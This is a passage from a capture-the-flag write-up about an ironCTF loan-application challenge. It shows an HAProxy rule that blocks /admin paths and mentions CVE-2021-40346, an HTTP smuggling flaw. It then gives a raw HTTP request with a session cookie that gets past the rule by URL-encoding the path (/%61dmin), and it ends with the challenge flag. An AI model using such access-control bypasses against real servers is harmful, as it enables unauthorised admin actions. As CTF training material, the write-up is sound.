mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
return 'OK', 200
except:
return 'Internal Server Error', 500
Where the server connects to the endpoint /admin/loan/<loan_id>
, but of course we hit a 403. Can’t be that easy HAHA. Also another thing I noticed is they used HAProxy
for this web application, which I thought was an upgrade to our set-up, so that was in the back of my mind.
Checking out the haproxy.cfg
.
1
2
acl is_admin path_beg /admin
http-request deny if is_admin
- acl is_admin path_beg /admin: Creates an access control list (ACL) named
is_admin
that matches requests where the path begins with/admin
. - http-request deny if is_admin: Denies requests that match the
is_admin
ACL, effectively blocking access to any URLs starting with/admin
.
As expected, it blocks all the URL requests starting with /admin
. Another interesting file to check out is the docker-compose.yml
, that’s where we can also see the layout and executions including versions of the software in the web application.
1
2
loanapp-haproxy:
image: haproxy:2.3.5
Now, we see it’s an older version of HAProxy, and there is a known vulnerability for it.
Critical Vulnerability in HAProxy (CVE-2021-40346): Integer Overflow Enables HTTP Smuggling
So actually, this was the intended method to solve it, integer overflowing the server to bypass HAProxy restrictions, but were a lot of unintended here, like /%61dmin
or //admin
and so on.
Payload:
1
2
3
4
5
6
7
8
9
10
POST /%61dmin/loan/670a5a603b619fc5054d4293 HTTP/1.1
Host: loanapp.1nf1n1ty.team
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIkxvZ2luIHN1Y2Nlc3NmdWwhIl19XSwidXNlcl9pZCI6IjY3MGE0YmU3M2I2MTlmYzUwNTRkNDI5MCJ9.ZwpOsQ.RDQIVJvEOtneQIWqsNsv3zwtpvY
Connection: keep-alive
Funnily here’s an unintended LOL.
Flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}
Reference: